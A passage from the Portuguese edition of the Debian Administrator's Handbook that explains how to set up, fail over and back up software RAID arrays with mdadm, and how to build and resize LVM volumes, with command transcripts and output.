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dois diferentes discos, mesmo com um número impar de discos, sendo as
cópias espalhadas ao longo de um modelo configurável.

A performance variará dependendo da escolha do modelo de repartição e
do nível de redundância, e da carga de trabalho do volume lógico.

Obviamente, o nível de RAID será escolhido de acordo com as restrições e requerimentos de
cada aplicação. Note que um computador sozinho pode ter diversos tipos de RAIDs distintos
com diversas configurações.

Configurando um RAID

Configurar volumes RAID requer o pacote mdadm; ele provê o comando mdadm, que permite a
criação e maipulação de arrays RAID, assim como scripts e ferramentas para integração com o
resto do sistema, incluindo o sistema de monitoração.
Nossos exemplo será um servidor com umnúmero de discos, sendo que alguns já estão em uso, e
o resto está disponível para a configuração do RAID. Nós inicialmente temos os seguintes discos
e partições:

• o disco sdb, 4 GB, está completamente disponível;
• o disco sdc, 4 GB, também está completamente disponível;
• no disco sdd, somente a partição sdd2 (cerca de 4 GB) está disponível;
• finalmente, um disco sde, ainda com 4 GB, disponível.

NOTA

Identificando os volumes
RAID existentes

O arquivo /proc/mdstat lista os volumes existentes e seus estados. Quando cri-
ando um novo volume RAID, devemos tomar cuidado para não nomeá-lo damesma
maneira que um volume existente.

Iremos usar estes elementos físicos para criar dois volumes, um RAID-0 e um espelho (RAID-1).
Comecemos com o volume RAID-0:
# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
# mdadm --query /dev/md0
/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md0
/dev/md0:

Version : 1.2
Creation Time : Wed May 6 09:24:34 2015

Raid Level : raid0
Array Size : 8387584 (8.00 GiB 8.59 GB)

Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent
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Update Time : Wed May 6 09:24:34 2015
State : clean

Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0

Chunk Size : 512K

Name : mirwiz:0 (local to host mirwiz)
UUID : bb085b35:28e821bd:20d697c9:650152bb

Events : 0

Number Major Minor RaidDevice State
0 8 16 0 active sync /dev/sdb
1 8 32 1 active sync /dev/sdc

# mkfs.ext4 /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 2095104 4k blocks and 524288 inodes
Filesystem UUID: fff08295-bede-41a9-9c6a-8c7580e520a6
Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/raid-0
# mount /dev/md0 /srv/raid-0
# df -h /srv/raid-0
Filesystem Size Used Avail Use% Mounted on
/dev/md0 7.9G 18M 7.4G 1% /srv/raid-0

O comando mdadm --create requer vários parâmetros: o nome do volume a ser criado (/dev/
md*, com MD significando Multiple Device), o nível RAID, o número de discos (que é obrigatório,
apesar de ser significante apenas com RAID-1 e acima), e os drives físicos a usar. Uma vez que
o dispositivo seja criado, nós podemos usá-lo como usamos uma partição normal, criando um
sistema de arquivos nela, montando esse sistema de arquivos, e assim por diante. Note que
nossa criação de um volume RAID-0 em md0 não passa de coincidência, e a numeração da array
não precisa ser correlacionada com a quantidade escolhida de redundância. Também é possível
criar arrays RAID nomeadas, dando ao mdadm parâmetros como /dev/md/linear ao invés de
/dev/md0.
A criação do RAID-1 segue estilo similar, as diferenças somente serão notadas após a criação:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde
mdadm: Note: this array has metadata at the start and

may not be suitable as a boot device. If you plan to
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store ’/boot’ on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90

mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1%
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
# mdadm --query /dev/md1
/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md1
/dev/md1:

Version : 1.2
Creation Time : Wed May 6 09:30:19 2015

Raid Level : raid1
Array Size : 4192192 (4.00 GiB 4.29 GB)

Used Dev Size : 4192192 (4.00 GiB 4.29 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent

Update Time : Wed May 6 09:30:40 2015
State : clean, resyncing (PENDING)

Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0

Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464

Events : 0

Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
1 8 64 1 active sync /dev/sde

# mdadm --detail /dev/md1
/dev/md1:
[...]

State : clean
[...]

DICA

RAID, discos e partições
Como ilustrado pelo nosso exemplo, dispositivos RAID podem ser construídos à
partir de partições de disco, e não necessitam discos inteiros.

Algumas observações em ordem. Primeiro, mdadm nota que os elementos físicos possuem tama-
nhos diferentes; já que isso implica que algum espaço será perdido no maior elemento, uma
confirmação é necessária.
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Ainda mais importante, note o estado do espelhamento.O estado normal de um espelho RAID
é que os dois discos tenham exatamente o mesmo conteúdo. Contudo, nada garante que esse
é o caso quando o volume é criado pela primeira vez. O subsistema RAID irá, por conseguinte,
prover essa garantia por si mesmo, e acontecerá uma fase de sincronização assim que o disposi-
tivo RAID for criado. Após algum tempo (a quantidade exata irá depender do real tamanho dos
discos…), a array RAID alternará para o estado “ativo” ou ”limpo”. Note que durante essa fase
de reconstrução, o espelho está emmodo degradado, e a redundância não é garantida. Um disco
falhando durante essa janela de risco poderia levar a perda de todos os dados. Grandes quantida-
des de dados críticos, contudo, raramente são armazenados em uma array RAID recentemente
criada, antes de sua sincronização inicial. Note que mesmo em modo degradado, o /dev/md1
é usável, e um sistema de arquivos pode ser criado nele, assim como alguns dados podem ser
copiados para ele.

DICA

Começando um espelho
em modo reduzido

Às vezes, dois discos não estão imediatamente disponíveis quando se quer iniciar
um espelho RAID-1, por exemplo, porque se pretende incluir um dos discos já usado
para armazenar os dados que se quer passar para a array. Em tais circunstâncias,
é possível criar deliberadamente uma degradada array RAID-1, passando missing
em vez de um arquivo de dispositivo como um dos argumentos para mdadm. Uma
vez que os dados tenham sido copiados para o ”espelho”, o disco antigo pode ser
adicionado à array. A sincronização irá então acontecer, dando-nos a redundância
que foi desejada, em primeiro lugar.

DICA

Configurando um
espelho sem

sincronização

Volumes RAID-1 são geralmente criados para serem usados como disco novo, geral-
mente considerados vazios. O conteúdo inicial real do disco portanto não é muito
relevante, já que alguém apenas precisa saber que os dados escritos após a criação
do volume, em particular o sistema de arquivos, podem ser acessados mais tarde.

Pode-se portanto querer saber sobre o ponto de sincronização de ambos os discos
no momento da criação. Por que se importar se os conteúdos são idênticos em
zonas do volume que nós sabemos que apenas serão lidas após nós termos escrito
nelas?

Felizmente, essa fase de sincronização pode ser evitada passando a opção
--assume-clean para mdadm. Contudo, essa opção pode levar a surpresas no caso
de os dados iniciais serem lidos (por exemplo se um sistema de arquivos já esteja
presente nos discos físicos), que é o por que dela não ser habilitada por padrão.

Agora vamos ver o que acontece quando um dos elementos da array RAID-1 falha. O mdadm, em
particular sua opção --fail, permite simular uma falha de disco desse tipo:
# mdadm /dev/md1 --fail /dev/sde
mdadm: set /dev/sde faulty in /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]

Update Time : Wed May 6 09:39:39 2015
State : clean, degraded

Active Devices : 1
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Working Devices : 1
Failed Devices : 1
Spare Devices : 0

Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464

Events : 19

Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 0 0 2 removed

1 8 64 - faulty /dev/sde

O conteúdo do volume ainda está acessível (e, se montado, as aplicações não notarão nada), mas
a segurança dos dados não é mais garantida: se, por sua vez, o disco sdd falhar, os dados serão
perdidos. Nós queremos evitar esse risco, então nós vamos substituir o disco falho por um novo,
sdf:

# mdadm /dev/md1 --add /dev/sdf
mdadm: added /dev/sdf
# mdadm --detail /dev/md1
/dev/md1:
[...]

Raid Devices : 2
Total Devices : 3
Persistence : Superblock is persistent

Update Time : Wed May 6 09:48:49 2015
State : clean, degraded, recovering

Active Devices : 1
Working Devices : 2
Failed Devices : 1
Spare Devices : 1

Rebuild Status : 28% complete

Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464

Events : 26

Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 8 80 1 spare rebuilding /dev/sdf

1 8 64 - faulty /dev/sde
# [...]
[...]
# mdadm --detail /dev/md1
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/dev/md1:
[...]

Update Time : Wed May 6 09:49:08 2015
State : clean

Active Devices : 2
Working Devices : 2
Failed Devices : 1
Spare Devices : 0

Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464

Events : 41

Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 8 80 1 active sync /dev/sdf

1 8 64 - faulty /dev/sde

Aqui, mais uma vez, o núcleo automaticamente dispara uma fase de reconstrução, durante a
qual o volume, embora ainda acessível, está em um modo degradado. Uma vez que a recons-
trução esteja terminada, a array RAID está de volta ao estado normal. Pode-se então dizer ao
sistema que o disco sde está para ser removido da array, para que se possa terminar com um
espelhamento RAID clássico nos dois discos:
# mdadm /dev/md1 --remove /dev/sde
mdadm: hot removed /dev/sde from /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]

Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 8 80 1 active sync /dev/sdf

A partir de então, a unidade pode ser fisicamente removida quando o servidor está para ser
desligado, ou até mesmo removida com o sistema ligado (hot-removed) quando a configuração
de hardware permite tal operação (hot-swap). Tais configurações incluem alguns controladores
SCSI, a maioria dos discos SATA e unidades externas que operam com USB ou Firewire.

Fazendo Backup da Configuração

Amaioria dosmeta-dados referentes a volumes RAID são salvos diretamente nos discos que com-
poem essas arrays, para que o núcleo possa detectar as arrays e seus componentes e montá-los
automaticamente quando o sistema for iniciado. Contudo, é encorajado o uso de cópia de segu-
rança dessa configuração, porque essa detecção não é à prova de falhas, e só se tem a expectativa
de falha dela precisamente em circunstâncias sensíveis. Em nosso exemplo, se a falha do disco
sde tivesse sido real (ao invés de simulada) e o sistema tivesse sido reiniciado sem a remoção
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desse disco sde, esse disco poderia começar a trabalhar novamente por ter sido verificado du-
rante a reinicialização. O núcleo iria ter então três elementos físicos, cada um clamando por
conter metade do mesmo volume RAID. Outra fonte de confusão pode vir quando volumes RAID
de dois servidores são consolidados em apenas um servidor apenas. Se essas arrays estavam
rodando normalmente antes dos discos serem removidos, o núcleo seria capaz de detectar e re-
montar os pares de maneira apropriada; mas se os discos movidos tiverem sido agregados em
um md1 no servidor antigo, e o novo servidor já tiver um md1, um dos espelhos seria renomeado.
Fazer uma cópia de segurança da configuração é portanto importante, mesmo que apenas para
referência. A maneira padrão de fazer isso é editando o arquivo /etc/mdadm/mdadm.conf, um
exemplo do que é listado aqui:

Exemplo 12.1 mdadm arquivo de configuração

# mdadm.conf
#
# Please refer to mdadm.conf(5) for information about this file.
#

# by default (built-in), scan all partitions (/proc/partitions) and all
# containers for MD superblocks. alternatively, specify devices to scan, using
# wildcards if desired.
DEVICE /dev/sd*

# auto-create devices with Debian standard permissions
CREATE owner=root group=disk mode=0660 auto=yes

# automatically tag new arrays as belonging to the local system
HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts
MAILADDR root

# definitions of existing MD arrays
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464

# This configuration was auto-generated on Thu, 17 Jan 2013 16:21:01 +0100
# by mkconf 3.2.5-3

Um dos detalhes mais úteis é a opção DEVICE, que lista os dispositivos aonde o sistema irá au-
tomaticamente procurar por componentes dos volumes RAID no momento da inicialização. No
nosso exemplo, nós substituímos o valor padrão, partitions containers, por uma explícita lista
de arquivos de dispositivos, já que nós escolhemos usar discos inteiros e não apenas partições,
para alguns volumes.
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As duas últimas linhas em nosso exemplo são aquelas que permitem ao núcleo escolher, com
segurança, qual número de volume atribuir a qual array. O metadado armazenado nos próprios
discos são suficientes para remontar (re-assemble) os volumes, mas não para determinar o nú-
mero do volume (e o nome de dispositivo que coincide com /dev/md*).
Felizmente, estas linhas podem ser geradas automaticamente:

# mdadm --misc --detail --brief /dev/md?
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464

O conteúdo dessas duas últimas linhas não depende da lista de discos incluídos no volume. Logo,
não é necessário regenerar essas linhas quando se for substituir umdisco falho por umnovo. Por
outro lado, tem que se tomar o cuidado de atualizar o arquivo ao se criar ou remover uma array
RAID.

12.1.2. LVM

LVM, o Logical Volume Manager, é uma outra abordagem para abstrair volumes lógicos a partir
de seus suportes físicos, que se concentra em aumentar a flexibilidade em vez de aumentar a
confiabilidade. O LVM permite mudar um volume lógico de forma transparente, até aonde os
aplicativos tem interesse ; por exemplo, é possível adicionar novos discos, migrar os dados para
eles, e remover os discos velhos, sem desmontar o volume.

Conceitos sobre LVM

Esta flexibilidade é atingida graças ao nível de abstração envolvendo três conceitos.
Primeiro, o PV (Physical Volume) é a entidade mais próxima ao hardware: ele pode ser partições
em um disco, ou um disco inteiro, ou até mesmo qualquer outro dispositivo de bloco (incluindo,
por exemplo, uma array RAID). Note que quando um elemento é configurado para ser um PV
para o LVM, ele deveria ser acessado via LVM apenas, de outra forma o sistema irá ficar confuso.
Vários PVs podem ser agrupados em umVG (Volume Group), que pode ser comparado com discos
tanto virtual quanto extensível. VGs são abstratos, e não aparecememumarquivo dedispositivo
na hierarquia /dev, então não a risco em usá-los diretamente.
O terceiro tipo de objeto é o LV (Logical Volume), que é um pedaço de um VG; se nós mantermos
a analogia VG-como-disco, o LV se compara a uma partição. O LV aparece como um dispositivo
de bloco com uma entrada em /dev, e ele pode ser usado como qualquer outra partição física
pode ser (mais comumente, para hospedar um sistema de arquivos ou espaço swap).
A coisa importante é que a divisão de um VG em LVs é inteiramente independente de seus com-
ponentes físicos (os PVs). Um VG com apenas um componente físico (um disco por exemplo)
pode ser dividido em uma dúzia de volumes lógicos; similarmente, um VG pode usar vários dis-
cos físicos e parecer como um único e grande volume lógico. A única restrição, obviamente, é
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que o tamanho total alocado aos LVs não podem ser maiores que a capacidade total dos PVs no
grupo de volume.
Geralmente faz sentido, contudo, ter algum tipo de homogeneidade entre os componentes fí-
sicos de um VG, e dividir o VG em volumes lógicos que irão ter padrões de uso similares. Por
exemplo, se o hardware disponível inclui discos rápidos e discos lentos, os rápidos poderiam
ser agrupados em um VG e os lentos em outro; pedaços do primeiro podem então se designados
para aplicações que requerem rápido acesso a dados, enquanto o segundo seria mantido para
tarefas de menor demanda.
Em todo caso, tenha em mente que um LV não está particularmente anexado a nenhum PV. É
possível influenciar aonde os dados de um LV são fisicamente armazenados, mas essa possibili-
dade não é necessária para o uso do dia a dia. Pelo contrário: quando o conjunto de componentes
físicos de umVG evolui, as localizações de armazenagem física correspondentes a um LV empar-
ticular podem ser migradas entre discos (enquanto se mantém dentro de PVs atribuídos ao VG,
é claro).

Configurando um LVM

Vamos agora seguir, passo a passo, o processo de configurar um LVMpara um caso de uso típico:
nós queremos simplificar uma situação complexa de armazenagem. Uma situação dessas geral-
mente acontece após alguma longa e complicada história de medidas temporárias acumuladas.
Para propósitos de ilustração, nós vamos considerar um servidor aonde a armazenagem precisa
ter alterações com o passar do tempo, terminando em um labirinto de partições disponíveis, di-
vididas em vários discos parcialmente usados. Em termosmais concretos, as seguintes partições
estão disponíveis:

• no disco sdb, uma partição sdb2, 4 GB;
• no disco sdc, uma partição sdc3, 3 GB;
• o disco sdd, 4 GB, está completamente disponível;
• no disco sdf, uma partição sdf1, 4 GB; e uma partição sdf2, 5 GB.

Complementando, vamos assumir que os discos sdb e sdf são mais rápidos do que os outros
dois.
Nosso objetivo é configurar três volumes lógicos para três diferentes aplicações: um servidor
de arquivos necessitando 5 GB de espaço de armazenagem, um banco de dados (1 GB) e algum
espaço para cópias de segurança (12 GB). Os dois primeiros precisam de bom desempenho, mas
cópias de segurança são menos críticas em termos de velocidade de acesso. Todos essas limita-
ções impedem o uso de partições propriamente; usando LVM pode-se abstrair o tamanho físico
dos dispositivos, então o único limite é o total de espaço disponível.
As ferramentas necessárias estão no pacote lvm2 e suas dependência. Quando os mesmos estive-
rem instalados, configurarar o LVM terá três etapas, cobrindo três níveis de conceitos.
Primeiro, nós preparamos o volumes físicos utilizando pvcreate:
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# pvdisplay
# pvcreate /dev/sdb2
Physical volume ”/dev/sdb2” successfully created

# pvdisplay
”/dev/sdb2” is a new physical volume of ”4.00 GiB”
--- NEW Physical volume ---
PV Name /dev/sdb2
VG Name
PV Size 4.00 GiB
Allocatable NO
PE Size 0
Total PE 0
Free PE 0
Allocated PE 0
PV UUID 0zuiQQ-j1Oe-P593-4tsN-9FGy-TY0d-Quz31I

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done
Physical volume ”/dev/sdc3” successfully created
Physical volume ”/dev/sdd” successfully created
Physical volume ”/dev/sdf1” successfully created
Physical volume ”/dev/sdf2” successfully created

# pvdisplay -C
PV VG Fmt Attr PSize PFree
/dev/sdb2 lvm2 --- 4.00g 4.00g
/dev/sdc3 lvm2 --- 3.09g 3.09g
/dev/sdd lvm2 --- 4.00g 4.00g
/dev/sdf1 lvm2 --- 4.10g 4.10g
/dev/sdf2 lvm2 --- 5.22g 5.22g

Até agora tudo bem; note que o PV (volume físico) pode ser configurado em um disco inteiro as-
sim como empartições individuais domesmo. Comodemonstrado acima, o comando pvdisplay
lista os PVs existentes, com dois possíveis formatos de saída.
Agora vamos montar esses elementos físicos em VGs usando vgcreate. Nós vamos reunir ape-
nas PVs dos discos rápidos em umVG vg_critical; o outro VG, vg_normal, irá incluir também
elementos mais lentos.
# vgdisplay
No volume groups found

# vgcreate vg_critical /dev/sdb2 /dev/sdf1
Volume group ”vg_critical” successfully created

# vgdisplay
--- Volume group ---
VG Name vg_critical
System ID
Format lvm2
Metadata Areas 2
Metadata Sequence No 1
VG Access read/write
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VG Status resizable
MAX LV 0
Cur LV 0
Open LV 0
Max PV 0
Cur PV 2
Act PV 2
VG Size 8.09 GiB
PE Size 4.00 MiB
Total PE 2071
Alloc PE / Size 0 / 0
Free PE / Size 2071 / 8.09 GiB
VG UUID bpq7zO-PzPD-R7HW-V8eN-c10c-S32h-f6rKqp

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2
Volume group ”vg_normal” successfully created

# vgdisplay -C
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 0 0 wz--n- 8.09g 8.09g
vg_normal 3 0 0 wz--n- 12.30g 12.30g

Aqui novamente, os comandos são bem simples (e vgdisplay propõem dois formatos de saída).
Note que é perfeitamente possível usar duas partições de um mesmo disco físico em dois VGs
diferentes. Note também que nós usamos um prefixo vg_ para nomear nossos VGs, mas isso não
é nada mais que uma convenção.
Nós agora temos dois ”discos virtuais”, com o tamanho de 8 GB e 12 GB, respectivamente.Vamos
transformá-los em ”partições virtuais” (LVs). Isto envolve o comando lvcreate, e uma sintaxe
um pouco mais complexa:

# lvdisplay
# lvcreate -n lv_files -L 5G vg_critical
Logical volume ”lv_files” created

# lvdisplay
--- Logical volume ---
LV Path /dev/vg_critical/lv_files
LV Name lv_files
VG Name vg_critical
LV UUID J3V0oE-cBYO-KyDe-5e0m-3f70-nv0S-kCWbpT
LV Write Access read/write
LV Creation host, time mirwiz, 2015-06-10 06:10:50 -0400
LV Status available
# open 0
LV Size 5.00 GiB
Current LE 1280
Segments 2
Allocation inherit
Read ahead sectors auto
- currently set to 256

332 O Manual do Administrador Debian



Block device 253:0

# lvcreate -n lv_base -L 1G vg_critical
Logical volume ”lv_base” created

# lvcreate -n lv_backups -L 12G vg_normal
Logical volume ”lv_backups” created

# lvdisplay -C
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync

å Convert
lv_base vg_critical -wi-a--- 1.00g
lv_files vg_critical -wi-a--- 5.00g
lv_backups vg_normal -wi-a--- 12.00g

São necessários dois parâmetros para a criação de volumes lógicos; eles tem que ser passados ao
lvcreate como opções. O nome do LV a ser criado é especificado com a opção -n, e seu tamanho
geralmente é dado usando a opção -L. Nós também precisamos dizer ao comando qual o VG a
ser operado, é claro, sendo portanto o último parâmetro da linha de comando.

Aprofundamento

lvcreate opções
O comando lvcreate possui diversas opções que permitem manipular como o LV
é criado.

Vamos primeiro descrever a opção -l, com a qual o tamanho do LV pode ser dados
como um número de blocos (como o oposto das unidades “humanas” que nós usa-
mos acima). Esses blocos (chamados de PEs, physical extents, nos termos LVM)
são unidades contíguas de espaço de armazenamento em PVs, e elas não podem
ser divididas entre LVs. Se alguém quiser definir espaço de armazenamento para
um LV com alguma precisão, por exemplo para usar todo o espaço disponível, a
opção -l provavelmente será preferida, ao invés da -L.

Também é possível sugerir uma localização física de um LV, para que suas exten-
sões sejam armazenadas em um PV em particular (enquanto se mantém dentro
dos atribuídos ao VG, é claro). Como nós sabemos que o sdb é mais rápido que o
sdf, nós talvez queiramos armazenar o lv_base lá, caso nós queiramos dar uma
vantagem ao servidor de banco de dados, em comparação com o servidor de arqui-
vos. A linha de comando se torna: lvcreate -n lv_base -L 1G vg_critical
/dev/sdb2. Note que esse comando pode falhar se o PV não tiver extensões livres
suficientes. Em nosso exemplo, nós provavelmente teríamos que criar lv_base an-
tes de lv_files para evitar essa situação – ou liberar algum espaço em sdb2 com
o comando pvmove.

Volumes lógicos, quando criados, são representados como dispositivos de blocos no /dev/
mapper/:
# ls -l /dev/mapper
total 0
crw------- 1 root root 10, 236 Jun 10 16:52 control
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2
# ls -l /dev/dm-*
brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0
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brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1
brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2

NOTA

Auto-detectando volumes
LVM

Quando o computador é inicializado, a unidade de serviço do systemd
lvm2-activation executa o vgchange -aay para ”ativar” os grupos de volume;
ele faz uma busca nos dispositivos disponíveis; aqueles que tiverem sido iniciali-
zados como volumes físicos para o LVM são registrados em um subsistema LVM,
aqueles que pertencem aos grupos de volume são montados, e os volumes lógicos
relevantes são iniciados e tornados disponíveis. Não existe, portanto, necessidade
de editar arquivos de configuração quando se cria ou modifica volumes LVM.

Note, contudo, que o layout dos elementos LVM (volumes físicos e lógicos, e grupos
de volume) tem cópia de segurança em /etc/lvm/backup, que pode ser útil em
caso de um problema (ou apenas para da uma espiada embaixo do capô).

Para simplificar, links simbólicos são convenientemente criados em diretórios que coincidem
com os VGs:
# ls -l /dev/vg_critical
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0
# ls -l /dev/vg_normal
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2

Os LVs então podem ser utilizados exatamente como partições padrão:
# mkfs.ext4 /dev/vg_normal/lv_backups
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 3145728 4k blocks and 786432 inodes
Filesystem UUID: b5236976-e0e2-462e-81f5-0ae835ddab1d
[...]
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/backups
# mount /dev/vg_normal/lv_backups /srv/backups
# df -h /srv/backups
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_normal-lv_backups 12G 30M 12G 1% /srv/backups
# [...]
[...]
# cat /etc/fstab
[...]
/dev/vg_critical/lv_base /srv/base ext4 defaults 0 2
/dev/vg_critical/lv_files /srv/files ext4 defaults 0 2
/dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

Do ponto de vista das aplicações, a miríade de pequenas partições foi abstraída em um grande
volume de 12 GB, com um nome amigável.
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LVM ao longo do tempo

Mesmo que a habilidade de agregar partições ou discos físicos seja conveniente, essa não é a
principal vantagem trazida pelo LVM. A flexibilidade que ele trás é especialmente notada com
o passar do tempo, quando as necessidades se desenvolvem. Em nosso exemplo, vamos assumir
que novos e grandes arquivos tem que ser armazenados, e que o LV dedicado ao servidor de
arquivos émuito pequeno para acomodá-los. Comonós não usamos todo o espaço disponível em
vg_critical, nós podemos crescer o lv_files. Para esse propósito, nós iremos usar o comando
lvresize, e então o resize2fs para adaptar o sistema de arquivos em conformidadde:
# df -h /srv/files/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files 5.0G 4.6G 146M 97% /srv/files
# lvdisplay -C vg_critical/lv_files
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync

å Convert
lv_files vg_critical -wi-ao-- 5.00g

# vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 2 0 wz--n- 8.09g 2.09g

# lvresize -L 7G vg_critical/lv_files
Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to

å 7.00 GiB (1792 extents).
Logical volume lv_files successfully resized

# lvdisplay -C vg_critical/lv_files
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync

å Convert
lv_files vg_critical -wi-ao-- 7.00g

# resize2fs /dev/vg_critical/lv_files
resize2fs 1.42.12 (29-Aug-2014)
Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing

å required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vg_critical/lv_files is now 1835008 (4k) blocks long.

# df -h /srv/files/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files 6.9G 4.6G 2.1G 70% /srv/files

ATENÇÃO

Redimensionando
sistemas de arquivos

Nem todos os sistemas de arquivos podem ser redimensionados em tempo real;
redimensionar um volume podem portanto requere primeiro desmontar o sistema
de arquivos e remontá-lo depois. Claro que, se alguém quiser diminuir o espaço
alocado para um LV, o sistema de arquivos tem que ser diminuído primeiro; a ordem
é revertida quando o redimensionamento segue na outra direção: o volume lógico
tem que ser cultivado antes do sistema de arquivos existente nele. Isso é bastante
simples, já que em nenhum momento o tamanho do sistema de arquivos tem que
ser maior que o dispositivo de bloco aonde ele reside (seja esse dispositivo uma
partição física ou um volume lógico).
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Os sistemas de arquivo ext3, ext4 and xfs podem ser cultivados em tempo real, sem
serem desmontados; encolhé-los requer uma desmontagem. O sistema de arquivos
reiserfs permite o redimensionamento em tempo real nas duas direções. O venerá-
vel ext2 não permite, e sempre requer o desmonte.

Nós poderíamos proceder de maneira similar para estender o volume que hospeda o banco de
dados, apenas se nós tivermos alcançado o limite de espaço disponível do VG:

# df -h /srv/base/
Sist. Arq. Tam. Usado Disp. Uso% Montado em
/dev/mapper/vg_critical-lv_base 1008M 854M 104M 90% /srv/base
# vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 2 0 wz--n- 8.09g 92.00m

Não importa, já que o LVM permite a adição de volumes físico em grupos de volumes existen-
tes. Por exemplo, talvez nós percebamos que a partição sdb1, que era até agora usada fora do
LVM, apenas contém arquivos que poderiam sermovidos para lv_backups. Nós podemos agora
reciclá-la e integrá-la ao grupo de volume, e assim recuperar algum espaço disponível. Esse é o
propósito do comando vgextend. Claro que, a partição tem que ser preparada antes como um
volume físico. Uma vez que o VG tenha sido estendido, nós podemos usar comandos similares
aos anteriores para cultivar o volume lógico e então o sistema de arquivos:

# pvcreate /dev/sdb1
Physical volume ”/dev/sdb1” successfully created

# vgextend vg_critical /dev/sdb1
Volume group ”vg_critical” successfully extended

# vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 3 2 0 wz--n- 9.09g 1.09g

# [...]
[...]
# df -h /srv/base/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_base 2.0G 854M 1.1G 45% /srv/base

Aprofundamento

LVM avançado
O LVM também serve para usos mais avançados, aonde muitos detalhes podem
ser especificados a mão. Por exemplo, um administrador pode ajustar o tamanho
dos blocos que compõem os volumes físicos e lógicos, assim como seus layouts
físicos. Também é possível mover blocos entre PVs, por exemplo para um ajuste
fino no desempenho ou, de maneira mais mundana, liberar um PV quando alguém
precisa extrair o disco físico correspondente de um VG (seja para designá-lo para
outro VG ou removê-lo do LVM totalmente). As páginas de manual que descrevem
os comandos geralmente são claras e detalhadas. Um bom ponto de partida é a
página de manual lvm(8).
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12.1.3. RAID ou LVM?

Tanto o RAID quanto o LVM irão trazer vantagens indiscutíveis assim que se deixar o simples
caso de um computador de mesa com um único disco rígido, aonde o padrão de uso não muda
com o tempo. Contudo, RAID e LVM vão em direções diferentes, com objetivos divergentes,
e é legítimo questionar qual deles deve ser adotado. A resposta mais apropriada irá, é claro,
depender das necessidades atuais e previstas.
Existem alguns casos simples aonde a questão realmente não surge. Se a necessidade é salva-
guardar dados contra falhas de hardware, então, obviamente, o RAID será configurado em uma
array redundante de discos, já que o LVM realmente não é designado para esse problema. Se,
por outro lado, a necessidade é por um esquema de armazenamento flexível aonde os volumes
são feitos independente do layout físico dos disco, o RAID não ajudamuito e o LVM será a escolha
natural.

NOTA

